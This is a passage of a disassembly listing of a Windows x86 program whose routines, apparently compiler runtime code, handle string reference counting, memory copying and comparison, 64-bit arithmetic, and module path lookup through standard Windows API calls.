[edx-8] dec ecx jl short locret_402305 dec dword ptr [edx-8] jnz short locret_402305 push eax lea eax, [edx-8] call sub_4011C0 pop eax locret_402305: ; CODE XREF: sub_4022E4+4j ; sub_4022E4+10j ... retn sub_4022E4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402308 proc near ; CODE XREF: sub_402824+56p ; sub_404CB0+10Dp ... push ebx push esi mov ebx, eax mov esi, edx loc_40230E: ; CODE XREF: sub_402308+29j mov edx, [ebx] test edx, edx jz short loc_40232D mov dword ptr [ebx], 0 mov ecx, [edx-8] dec ecx jl short loc_40232D dec dword ptr [edx-8] jnz short loc_40232D lea eax, [edx-8] call sub_4011C0 loc_40232D: ; CODE XREF: sub_402308+Aj ; sub_402308+16j ... add ebx, 4 dec esi jnz short loc_40230E pop esi pop ebx retn sub_402308 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402338 proc near ; CODE XREF: sub_402564+8j ; sub_4025A8:loc_402619p ... test edx, edx jz short loc_40235F mov ecx, [edx-8] inc ecx jg short loc_40235C push eax push edx mov eax, [edx-4] call sub_4023A4 mov edx, eax pop eax push edx mov ecx, [eax-4] call sub_4012DC pop edx pop eax jmp short loc_40235F ; --------------------------------------------------------------------------- loc_40235C: ; CODE XREF: sub_402338+8j inc dword ptr [edx-8] loc_40235F: ; CODE XREF: sub_402338+2j ; sub_402338+22j xchg edx, [eax] test edx, edx jz short locret_402378 mov ecx, [edx-8] dec ecx jl short locret_402378 dec dword ptr [edx-8] jnz short locret_402378 lea eax, [edx-8] call sub_4011C0 locret_402378: ; CODE XREF: sub_402338+2Bj ; sub_402338+31j ... retn sub_402338 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40237C proc near ; CODE XREF: sub_405638+2Ep ; sub_405F88+1EDp ... test edx, edx jz short loc_402389 mov ecx, [edx-8] inc ecx jle short loc_402389 inc dword ptr [edx-8] loc_402389: ; CODE XREF: sub_40237C+2j ; sub_40237C+8j xchg edx, [eax] test edx, edx jz short locret_4023A2 mov ecx, [edx-8] dec ecx jl short locret_4023A2 dec dword ptr [edx-8] jnz short locret_4023A2 lea eax, [edx-8] call sub_4011C0 locret_4023A2: ; CODE XREF: sub_40237C+11j ; sub_40237C+17j ... retn sub_40237C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4023A4 proc near ; CODE XREF: sub_402338+Fp ; sub_4023D0+Bp ... test eax, eax jle short loc_4023CC push eax add eax, 0Ah and eax, 0FFFFFFFEh push eax call sub_4011A8 pop edx mov word ptr [edx+eax-2], 0 add eax, 8 pop edx mov [eax-4], edx mov dword ptr [eax-8], 1 retn ; --------------------------------------------------------------------------- loc_4023CC: ; CODE XREF: sub_4023A4+2j xor eax, eax retn sub_4023A4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4023D0 proc near ; CODE XREF: sub_401488+2Fp ; CODE:0040246Ap ... push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx mov eax, edi call sub_4023A4 mov ecx, edi mov edi, eax test esi, esi jz short loc_4023F1 mov edx, eax mov eax, esi call sub_4012DC loc_4023F1: ; CODE XREF: sub_4023D0+16j mov eax, ebx call sub_4022E4 mov [ebx], edi pop edi pop esi pop ebx retn sub_4023D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402400 proc near ; CODE XREF: CODE:00402457p ; CODE:00402487p arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 0 push edx push eax mov eax, [ebp+arg_0] push eax push ecx push 0 push 0 call sub_401140 ; WideCharToMultiByte pop ebp retn 4 sub_402400 endp ; --------------------------------------------------------------------------- align 4 loc_40241C: ; CODE XREF: CODE:loc_40251Bj ; CODE:loc_402553j push ebx push esi push edi push ebp add esp, 0FFFFF004h push eax add esp, 0FFFFFFFCh mov esi, ecx mov [esp], edx mov edi, eax test esi, esi jg short loc_40243E mov eax, edi call sub_4022E4 jmp short loc_40249D ; --------------------------------------------------------------------------- loc_40243E: ; CODE XREF: CODE:00402433j lea ebp, [esi+1] cmp ebp, 7FFh jge short loc_402471 push esi lea eax, [esp+8] mov ecx, [esp+4] mov edx, 0FFFh call sub_402400 mov ebx, eax test ebx, ebx jl short loc_402471 lea edx, [esp+4] mov eax, edi mov ecx, ebx call sub_4023D0 jmp short loc_40249D ; --------------------------------------------------------------------------- loc_402471: ; CODE XREF: CODE:00402447j ; CODE:00402460j mov ebx, ebp add ebx, ebx mov eax, edi mov edx, ebx call sub_402774 push esi mov eax, [edi] mov ecx, [esp+4] mov edx, ebx call sub_402400 mov ebx, eax test ebx, ebx jge short loc_402494 xor ebx, ebx loc_402494: ; CODE XREF: CODE:00402490j mov eax, edi mov edx, ebx call sub_402774 loc_40249D: ; CODE XREF: CODE:0040243Cj ; CODE:0040246Fj add esp, 1004h pop ebp pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_4024A8 proc near ; CODE XREF: sub_404F38+8Dp ; sub_404F38+190p ... push edx mov edx, esp mov ecx, 1 call sub_4023D0 pop edx retn sub_4024A8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4024B8 proc near ; CODE XREF: sub_402F64+48p ; sub_404DD4+28p ... xor ecx, ecx test edx, edx jz short loc_4024DF push edx loc_4024BF: ; CODE XREF: sub_4024B8+1Dj cmp cl, [edx] jz short loc_4024DA cmp cl, [edx+1] jz short loc_4024D9 cmp cl, [edx+2] jz short loc_4024D8 cmp cl, [edx+3] jz short loc_4024D7 add edx, 4 jmp short loc_4024BF ; --------------------------------------------------------------------------- loc_4024D7: ; CODE XREF: sub_4024B8+18j inc edx loc_4024D8: ; CODE XREF: sub_4024B8+13j inc edx loc_4024D9: ; CODE XREF: sub_4024B8+Ej inc edx loc_4024DA: ; CODE XREF: sub_4024B8+9j mov ecx, edx pop edx sub ecx, edx loc_4024DF: ; CODE XREF: sub_4024B8+4j jmp sub_4023D0 sub_4024B8 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 loc_4024E8: ; DATA XREF: sub_4042BA:loc_40448Ao xor ecx, ecx test edx, edx jz short loc_40251B push edx loc_4024EF: ; CODE XREF: CODE:00402509j cmp cx, [edx] jz short loc_402514 cmp cx, [edx+2] jz short loc_402511 cmp cx, [edx+4] jz short loc_40250E cmp cx, [edx+6] jz short loc_40250B add edx, 8 jmp short loc_4024EF ; --------------------------------------------------------------------------- loc_40250B: ; CODE XREF: CODE:00402504j add edx, 2 loc_40250E: ; CODE XREF: CODE:004024FEj add edx, 2 loc_402511: ; CODE XREF: CODE:004024F8j add edx, 2 loc_402514: ; CODE XREF: CODE:004024F2j mov ecx, edx pop edx sub ecx, edx shr ecx, 1 loc_40251B: ; CODE XREF: CODE:004024ECj jmp loc_40241C ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402524 proc near ; CODE XREF: sub_4078FC+33p xor ecx, ecx mov cl, [edx] inc edx jmp sub_4023D0 sub_402524 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402530 proc near ; CODE XREF: sub_4057C0+BBp ; sub_405B58+49p ... push edi push eax push ecx mov edi, edx xor eax, eax repne scasb jnz short loc_40253D not ecx loc_40253D: ; CODE XREF: sub_402530+9j pop eax add ecx, eax pop eax pop edi jmp sub_4023D0 sub_402530 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_402548: ; DATA XREF: sub_4042BA:loc_404491o xor ecx, ecx test edx, edx jz short loc_402553 mov ecx, [edx-4] shr ecx, 1 loc_402553: ; CODE XREF: CODE:0040254Cj jmp loc_40241C ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40255C proc near ; CODE XREF: sub_403F5C+Ap ; sub_4045F8+1Fp ... test eax, eax jz short locret_402563 mov eax, [eax-4] locret_402563: ; CODE XREF: sub_40255C+2j retn sub_40255C endp ; =============== S U B R O U T I N E ======================================= sub_402564 proc near ; CODE XREF: sub_404F38+97p ; sub_404F38+EEp ... test edx, edx jz short locret_4025A7 mov ecx, [eax] test ecx, ecx jz sub_402338 push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, [ecx-4] mov edx, [esi-4] add edx, edi cmp esi, ecx jz short loc_40259C call sub_402774 mov eax, esi mov ecx, [esi-4] loc_40258F: ; CODE XREF: sub_402564+41j mov edx, [ebx] add edx, edi call sub_4012DC pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40259C: ; CODE XREF: sub_402564+1Fj call sub_402774 mov eax, [ebx] mov ecx, edi jmp short loc_40258F ; --------------------------------------------------------------------------- locret_4025A7: ; CODE XREF: sub_402564+2j retn sub_402564 endp ; =============== S U B R O U T I N E ======================================= sub_4025A8 proc near ; CODE XREF: sub_405F88+27Bp ; sub_405F88+298p ... push ebx push esi push edi push edx push eax mov ebx, edx xor edi, edi mov ecx, [esp+edx*4+14h] test ecx, ecx jz short loc_4025BF cmp [eax], ecx jnz short loc_4025BF mov edi, eax loc_4025BF: ; CODE XREF: sub_4025A8+Fj ; sub_4025A8+13j xor eax, eax loc_4025C1: ; CODE XREF: sub_4025A8+2Bj mov ecx, [esp+edx*4+14h] test ecx, ecx jz short loc_4025D2 add eax, [ecx-4] cmp edi, ecx jnz short loc_4025D2 xor edi, edi loc_4025D2: ; CODE XREF: sub_4025A8+1Fj ; sub_4025A8+26j dec edx jnz short loc_4025C1 test edi, edi jz short loc_4025ED mov edx, eax mov eax, edi mov esi, [edi] mov esi, [esi-4] call sub_402774 push edi add esi, [edi] dec ebx jmp short loc_4025F5 ; --------------------------------------------------------------------------- loc_4025ED: ; CODE XREF: sub_4025A8+2Fj call sub_4023A4 push eax mov esi, eax loc_4025F5: ; CODE XREF: sub_4025A8+43j ; sub_4025A8+62j mov eax, [esp+ebx*4+18h] mov edx, esi test eax, eax jz short loc_402609 mov ecx, [eax-4] add esi, ecx call sub_4012DC loc_402609: ; CODE XREF: sub_4025A8+55j dec ebx jnz short loc_4025F5 pop edx pop eax test edi, edi jnz short loc_40261E test edx, edx jz short loc_402619 dec dword ptr [edx-8] loc_402619: ; CODE XREF: sub_4025A8+6Cj call sub_402338 loc_40261E: ; CODE XREF: sub_4025A8+68j pop edx pop edi pop esi pop ebx pop eax lea esp, [esp+edx*4] jmp eax sub_4025A8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40262C proc near ; CODE XREF: sub_407CDC+8Bp ; sub_407CDC+CAp push ebx push esi push edi mov esi, eax mov edi, edx cmp eax, edx jz loc_4026CA test esi, esi jz short loc_4026A7 test edi, edi jz short loc_4026AE mov eax, [esi-4] mov edx, [edi-4] sub eax, edx ja short loc_40264F add edx, eax loc_40264F: ; CODE XREF: sub_40262C+1Fj push edx shr edx, 2 jz short loc_40267B loc_402655: ; CODE XREF: sub_40262C+45j mov ecx, [esi] mov ebx, [edi] cmp ecx, ebx jnz short loc_4026B5 dec edx jz short loc_402675 mov ecx, [esi+4] mov ebx, [edi+4] cmp ecx, ebx jnz short loc_4026B5 add esi, 8 add edi, 8 dec edx jnz short loc_402655 jmp short loc_40267B ; --------------------------------------------------------------------------- loc_402675: ; CODE XREF: sub_40262C+32j add esi, 4 add edi, 4 loc_40267B: ; CODE XREF: sub_40262C+27j ; sub_40262C+47j pop edx and edx, 3 jz short loc_4026A3 mov ecx, [esi] mov ebx, [edi] cmp cl, bl jnz short loc_4026CA dec edx jz short loc_4026A3 cmp ch, bh jnz short loc_4026CA dec edx jz short loc_4026A3 and ebx, 0FF0000h and ecx, 0FF0000h cmp ecx, ebx jnz short loc_4026CA loc_4026A3: ; CODE XREF: sub_40262C+53j ; sub_40262C+5Ej ... add eax, eax jmp short loc_4026CA ; --------------------------------------------------------------------------- loc_4026A7: ; CODE XREF: sub_40262C+11j mov edx, [edi-4] sub eax, edx jmp short loc_4026CA ; --------------------------------------------------------------------------- loc_4026AE: ; CODE XREF: sub_40262C+15j mov eax, [esi-4] sub eax, edx jmp short loc_4026CA ; --------------------------------------------------------------------------- loc_4026B5: ; CODE XREF: sub_40262C+2Fj ; sub_40262C+3Cj pop edx cmp cl, bl jnz short loc_4026CA cmp ch, bh jnz short loc_4026CA shr ecx, 10h shr ebx, 10h cmp cl, bl jnz short loc_4026CA cmp ch, bh loc_4026CA: ; CODE XREF: sub_40262C+9j ; sub_40262C+5Bj ... pop edi pop esi pop ebx retn sub_40262C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4026D0 proc near ; CODE XREF: sub_406870+Fp ; sub_406930+14p ... test eax, eax jz short locret_4026DD mov edx, [eax-8] inc edx jle short locret_4026DD inc dword ptr [eax-8] locret_4026DD: ; CODE XREF: sub_4026D0+2j ; sub_4026D0+8j retn sub_4026D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4026E0 proc near ; CODE XREF: sub_403F5C+13p ; CODE:00405220p ... test eax, eax jz short loc_4026E6 retn ; --------------------------------------------------------------------------- byte_4026E5 db 0 ; DATA XREF: sub_4026E0:loc_4026E6o ; --------------------------------------------------------------------------- loc_4026E6: ; CODE XREF: sub_4026E0+2j mov eax, offset byte_4026E5 retn sub_4026E0 endp ; =============== S U B R O U T I N E ======================================= sub_4026EC proc near ; CODE XREF: sub_40272Cj mov edx, [eax] test edx, edx jz short loc_402729 mov ecx, [edx-8] dec ecx jz short loc_402729 push ebx mov ebx, eax mov eax, [edx-4] call sub_4023A4 mov edx, eax mov eax, [ebx] mov [ebx], edx push eax mov ecx, [eax-4] call sub_4012DC pop eax mov ecx, [eax-8] dec ecx jl short loc_402726 dec dword ptr [eax-8] jnz short loc_402726 lea eax, [eax-8] call sub_4011C0 loc_402726: ; CODE XREF: sub_4026EC+2Bj ; sub_4026EC+30j mov edx, [ebx] pop ebx loc_402729: ; CODE XREF: sub_4026EC+4j ; sub_4026EC+Aj mov eax, edx retn sub_4026EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40272C proc near ; CODE XREF: sub_406870+34p ; sub_406870+67p ... jmp sub_4026EC sub_40272C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402734 proc near ; CODE XREF: sub_403FAC+20p ; sub_404F38+E4p ... arg_0 = dword ptr 4 push ebx test eax, eax jz short loc_402766 mov ebx, [eax-4] test ebx, ebx jz short loc_402766 dec edx jl short loc_40275E cmp edx, ebx jge short loc_402766 loc_402747: ; CODE XREF: sub_402734+2Cj sub ebx, edx test ecx, ecx jl short loc_402766 cmp ecx, ebx jg short loc_402762 loc_402751: ; CODE XREF: sub_402734+30j add edx, eax mov eax, [esp+4+arg_0] call sub_4023D0 jmp short loc_40276F ; --------------------------------------------------------------------------- loc_40275E: ; CODE XREF: sub_402734+Dj xor edx, edx jmp short loc_402747 ; --------------------------------------------------------------------------- loc_402762: ; CODE XREF: sub_402734+1Bj mov ecx, ebx jmp short loc_402751 ; --------------------------------------------------------------------------- loc_402766: ; CODE XREF: sub_402734+3j ; sub_402734+Aj ... mov eax, [esp+4+arg_0] call sub_4022E4 loc_40276F: ; CODE XREF: sub_402734+28j pop ebx retn 4 sub_402734 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_402774 proc near ; CODE XREF: sub_40133C+7Fp ; CODE:00402479p ... push ebx push esi push edi mov ebx, eax mov esi, edx xor edi, edi test edx, edx jle short loc_4027C9 mov eax, [ebx] test eax, eax jz short loc_4027AA cmp dword ptr [eax-8], 1 jnz short loc_4027AA sub eax, 8 add edx, 9 push eax mov eax, esp call sub_4011D8 pop eax add eax, 8 mov [ebx], eax mov [eax-4], esi mov byte ptr [esi+eax], 0 jmp short loc_4027D2 ; --------------------------------------------------------------------------- loc_4027AA: ; CODE XREF: sub_402774+11j ; sub_402774+17j mov eax, edx call sub_4023A4 mov edi, eax mov eax, [ebx] test eax, eax jz short loc_4027C9 mov edx, edi mov ecx, [eax-4] cmp ecx, esi jl short loc_4027C4 mov ecx, esi loc_4027C4: ; CODE XREF: sub_402774+4Cj call sub_4012DC loc_4027C9: ; CODE XREF: sub_402774+Bj ; sub_402774+43j mov eax, ebx call sub_4022E4 mov [ebx], edi loc_4027D2: ; CODE XREF: sub_402774+34j pop edi pop esi pop ebx retn sub_402774 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4027D8 proc near ; CODE XREF: CODE:004067B4p mov edx, [eax] test edx, edx jz short locret_4027EC mov dword ptr [eax], 0 push eax push edx call sub_401148 pop eax locret_4027EC: ; CODE XREF: sub_4027D8+4j retn sub_4027D8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4027F0 proc near ; CODE XREF: sub_401AE8+12p ; sub_402824+B1p xor ecx, ecx push ebx mov cl, [edx+1] push esi push edi mov ebx, eax lea esi, [ecx+edx+0Ah] mov edi, [ecx+edx+6] loc_402802: ; CODE XREF: sub_4027F0+29j mov edx, [esi] mov eax, [esi+4] add eax, ebx mov edx, [edx] mov ecx, 1 call sub_402824 add esi, 8 dec edi jg short loc_402802 mov eax, ebx pop edi pop esi pop ebx retn sub_4027F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402824 proc near ; CODE XREF: sub_4027F0+20p ; sub_402824+9Bp ... cmp ecx, 0 jz locret_40290F push eax push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx xor edx, edx mov al, [esi] mov dl, [esi+1] cmp al, 0Ah jz short loc_402867 cmp al, 0Bh jz short loc_402884 cmp al, 0Ch jz short loc_40289D cmp al, 0Dh jz short loc_4028AC cmp al, 0Eh jz short loc_4028CA cmp al, 0Fh jz loc_4028E0 cmp al, 11h jz loc_4028EF jmp loc_402900 ; --------------------------------------------------------------------------- loc_402867: ; CODE XREF: sub_402824+1Cj cmp ecx, 1 mov eax, ebx jg short loc_402878 call sub_4022E4 jmp loc_40290B ; --------------------------------------------------------------------------- loc_402878: ; CODE XREF: sub_402824+48j mov edx, ecx call sub_402308 jmp loc_40290B ; --------------------------------------------------------------------------- loc_402884: ; CODE XREF: sub_402824+20j cmp ecx, 1 mov eax, ebx jg short loc_402893 call ds:off_409020 jmp short loc_40290B ; --------------------------------------------------------------------------- loc_402893: ; CODE XREF: sub_402824+65j mov edx, ecx call ds:off_409024 jmp short loc_40290B ; --------------------------------------------------------------------------- loc_40289D: ; CODE XREF: sub_402824+24j ; sub_402824+84j mov eax, ebx add ebx, 10h call sub_402964 dec edi jg short loc_40289D jmp short loc_40290B ; --------------------------------------------------------------------------- loc_4028AC: ; CODE XREF: sub_402824+28j push ebp mov ebp, edx loc_4028AF: ; CODE XREF: sub_402824+A1j mov edx, [esi+ebp+0Ah] mov eax, ebx add ebx, [esi+ebp+2] mov ecx, [esi+ebp+6] mov edx, [edx] call sub_402824 dec edi jg short loc_4028AF pop ebp jmp short loc_40290B ; --------------------------------------------------------------------------- loc_4028CA: ; CODE XREF: sub_402824+2Cj push ebp mov ebp, edx loc_4028CD: ; CODE XREF: sub_402824+B7j mov eax, ebx add ebx, [esi+ebp+2] mov edx, esi call sub_4027F0 dec edi jg short loc_4028CD pop ebp jmp short loc_40290B ; --------------------------------------------------------------------------- loc_4028E0: ; CODE XREF: sub_402824+30j ; sub_402824+C7j mov eax, ebx add ebx, 4 call sub_402F4C dec edi jg short loc_4028E0 jmp short loc_40290B ; --------------------------------------------------------------------------- loc_4028EF: ; CODE XREF: sub_402824+38j ; sub_402824+D8j mov eax, ebx mov edx, esi add ebx, 4 call sub_402A34 dec edi jg short loc_4028EF jmp short loc_40290B ; --------------------------------------------------------------------------- loc_402900: ; CODE XREF: sub_402824+3Ej pop edi pop esi pop ebx pop eax mov al, 2 jmp loc_401280 ; --------------------------------------------------------------------------- loc_40290B: ; CODE XREF: sub_402824+4Fj ; sub_402824+5Bj ... pop edi pop esi pop ebx pop eax locret_40290F: ; CODE XREF: sub_402824+3j retn sub_402824 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= sub_402914 proc near ; CODE XREF: sub_40291C+Fp sub_40295Cj ; DATA XREF: ... mov al, 10h jmp loc_401280 sub_402914 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40291C proc near ; CODE XREF: sub_402954j ; DATA XREF: CODE:00402948o ... mov ax, [eax] sub ax, 2 jb short locret_402930 sub ax, 8 jz short locret_402930 call sub_402914 locret_402930: ; CODE XREF: sub_40291C+7j ; sub_40291C+Dj retn sub_40291C endp ; --------------------------------------------------------------------------- align 4 mov edx, offset off_40A410 xor eax, eax loc_40293B: ; CODE XREF: CODE:00402946j mov dword ptr [edx+eax*4], offset sub_402914 inc eax cmp eax, 2Bh jnz short loc_40293B mov eax, offset sub_40291C mov ds:off_40A410, eax retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402954 proc near ; CODE XREF: sub_402964+1p jmp ds:off_40A410 sub_402954 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40295C proc near ; CODE XREF: sub_404170+Ap jmp ds:off_40A43C sub_40295C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402964 proc near ; CODE XREF: sub_402824+7Ep push eax call sub_402954 pop eax retn sub_402964 endp ; =============== S U B R O U T I N E ======================================= sub_40296C proc near ; DATA XREF: BSS:0040A000o mov al, 11h jmp loc_401280 sub_40296C endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_402974 proc near ; CODE XREF: sub_403FE4+43p ; sub_403FE4+5Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edx push eax mov eax, [esp+8+arg_4] mul [esp+8+var_8] mov ecx, eax mov eax, [esp+8+var_4] mul [esp+8+arg_0] add ecx, eax mov eax, [esp+8+var_8] mul [esp+8+arg_0] add edx, ecx pop ecx pop ecx retn 8 sub_402974 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_402998 proc near ; CODE XREF: sub_40437D+38p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push ebx push esi push edi mov ebx, [esp+10h+arg_0] mov ecx, [esp+10h+arg_4] or ecx, ecx jnz short loc_4029B0 or edx, edx jz short loc_4029DB or ebx, ebx jz short loc_4029DB loc_4029B0: ; CODE XREF: sub_402998+Ej mov ebp, ecx mov ecx, 40h xor edi, edi xor esi, esi loc_4029BB: ; CODE XREF: sub_402998:loc_4029D2j shl eax, 1 rcl edx, 1 rcl esi, 1 rcl edi, 1 cmp edi, ebp jb short loc_4029D2 ja short loc_4029CD cmp esi, ebx jb short loc_4029D2 loc_4029CD: ; CODE XREF: sub_402998+2Fj sub esi, ebx sbb edi, ebp inc eax loc_4029D2: ; CODE XREF: sub_402998+2Dj ; sub_402998+33j loop loc_4029BB loc_4029D4: ; CODE XREF: sub_402998+47j pop edi pop esi pop ebx pop ebp retn 8 ; --------------------------------------------------------------------------- loc_4029DB: ; CODE XREF: sub_402998+12j ; sub_402998+16j div ebx xor edx, edx jmp short loc_4029D4 sub_402998 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4029E4 proc near ; CODE XREF: sub_40437D+15p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push ebx push esi push edi mov ebx, [esp+10h+arg_0] mov ecx, [esp+10h+arg_4] or ecx, ecx jnz short loc_4029FC or edx, edx jz short loc_402A2B or ebx, ebx jz short loc_402A2B loc_4029FC: ; CODE XREF: sub_4029E4+Ej mov ebp, ecx mov ecx, 40h xor edi, edi xor esi, esi loc_402A07: ; CODE XREF: sub_4029E4:loc_402A1Ej shl eax, 1 rcl edx, 1 rcl esi, 1 rcl edi, 1 cmp edi, ebp jb short loc_402A1E ja short loc_402A19 cmp esi, ebx jb short loc_402A1E loc_402A19: ; CODE XREF: sub_4029E4+2Fj sub esi, ebx sbb edi, ebp inc eax loc_402A1E: ; CODE XREF: sub_4029E4+2Dj ; sub_4029E4+33j loop loc_402A07 mov eax, esi mov edx, edi loc_402A24: ; CODE XREF: sub_4029E4+4Cj pop edi pop esi pop ebx pop ebp retn 8 ; --------------------------------------------------------------------------- loc_402A2B: ; CODE XREF: sub_4029E4+12j ; sub_4029E4+16j div ebx xchg eax, edx xor edx, edx jmp short loc_402A24 sub_4029E4 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402A34 proc near ; CODE XREF: sub_402824+D2p ; CODE:004066E1p ... mov ecx, [eax] test ecx, ecx jz short locret_402A6C mov dword ptr [eax], 0 dec dword ptr [ecx-8] jnz short locret_402A6C push eax mov eax, ecx xor ecx, ecx mov cl, [edx+1] mov edx, [ecx+edx+6] test edx, edx jz short loc_402A63 mov ecx, [eax-4] test ecx, ecx jz short loc_402A63 mov edx, [edx] call sub_402824 loc_402A63: ; CODE XREF: sub_402A34+1Fj ; sub_402A34+26j sub eax, 8 call sub_4011C0 pop eax locret_402A6C: ; CODE XREF: sub_402A34+4j ; sub_402A34+Fj retn sub_402A34 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402A70 proc near ; CODE XREF: sub_402AB8+1Bp var_110 = byte ptr -110h push ebx push esi add esp, 0FFFFFEF8h mov ebx, eax cmp dword ptr [ebx+10h], 0 jnz short loc_402AAB push 105h lea eax, [esp+114h+var_110] push eax mov eax, [ebx+4] push eax call sub_401088 ; GetModuleFileNameA mov eax, esp mov dl, 1 call sub_402CAC mov esi, eax mov [ebx+10h], esi test esi, esi jnz short loc_402AAB mov eax, [ebx+4] mov [ebx+10h], eax loc_402AAB: ; CODE XREF: sub_402A70+Ej ; sub_402A70+33j mov eax, [ebx+10h] add esp, 108h pop esi pop ebx retn sub_402A70 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402AB8 proc near ; CODE XREF: sub_402F64+2Bp ; CODE:00405258p mov edx, ds:off_409014 test edx, edx jz short locret_402ADF loc_402AC2: ; CODE XREF: sub_402AB8+25j cmp eax, [edx+4] jz short loc_402AD1 cmp eax, [edx+8] jz short loc_402AD1 cmp eax, [edx+0Ch] jnz short loc_402AD9 loc_402AD1: ; CODE XREF: sub_402AB8+Dj ; sub_402AB8+12j mov eax, edx call sub_402A70 retn ; --------------------------------------------------------------------------- loc_402AD9: ; CODE XREF: sub_402AB8+17j mov edx, [edx] test edx, edx jnz short loc_402AC2 locret_402ADF: ; CODE XREF: sub_402AB8+8j retn sub_402AB8 endp ; =============== S U B R O U T I N E ======================================= sub_402AE0 proc near ; CODE XREF: sub_402AF4+83p ; sub_402AF4+96p ... jmp short loc_402AE8 ; --------------------------------------------------------------------------- loc_402AE2: ; CODE XREF: sub_402AE0+11j push eax call sub_4010D0 ; CharNextA loc_402AE8: ; CODE XREF: sub_402AE0j mov dl, [eax] test dl, dl jz short locret_402AF3 cmp dl, 5Ch jnz short loc_402AE2 locret_402AF3: ; CODE XREF: sub_402AE0+Cj retn sub_402AE0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402AF4 proc near ; CODE XREF: sub_402CAC+A3p var_24F = byte ptr -24Fh var_14A = byte ptr -14Ah var_11E = byte ptr -11Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFDB0h push ebx push esi push edi mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_C], eax push offset dword_402C88 call sub_401090 ; GetModuleHandleA mov esi, eax test esi, esi jz short loc_402B5C push offset aGetlongpathnam ; "GetLongPathNameA" push esi call sub_4010F8 ; GetProcAddress mov ebx, eax test ebx, ebx jz short loc_402B5C push 105h lea eax, [ebp+var_24F] push eax mov eax, [ebp+var_4] push eax call ebx test eax, eax jz short loc_402B5C mov eax, [ebp+var_8] push eax lea eax, [ebp+var_24F] push eax mov eax, [ebp+var_4] push eax call sub_401118 ; lstrcpyn jmp loc_402C7E ; --------------------------------------------------------------------------- loc_402B5C: ; CODE XREF: sub_402AF4+26j ; sub_402AF4+37j ... mov eax, [ebp+var_4] cmp byte ptr [eax], 5Ch jnz short loc_402B9C mov eax, [ebp+var_4] cmp byte ptr [eax+1], 5Ch jnz loc_402C7E mov eax, [ebp+var_4] add eax, 2 call sub_402AE0 mov esi, eax cmp byte ptr [esi], 0 jz loc_402C7E lea eax, [esi+1] call sub_402AE0 mov esi, eax cmp byte ptr [esi], 0 jz loc_402C7E jmp short loc_402BA2 ; --------------------------------------------------------------------------- loc_402B9C: ; CODE XREF: sub_402AF4+6Ej mov esi, [ebp+var_4] add esi, 2 loc_402BA2: ; CODE XREF: sub_402AF4+A6j mov ebx, esi sub ebx, [ebp+var_4] lea eax, [ebx+1] push eax mov eax, [ebp+var_4] push eax lea eax, 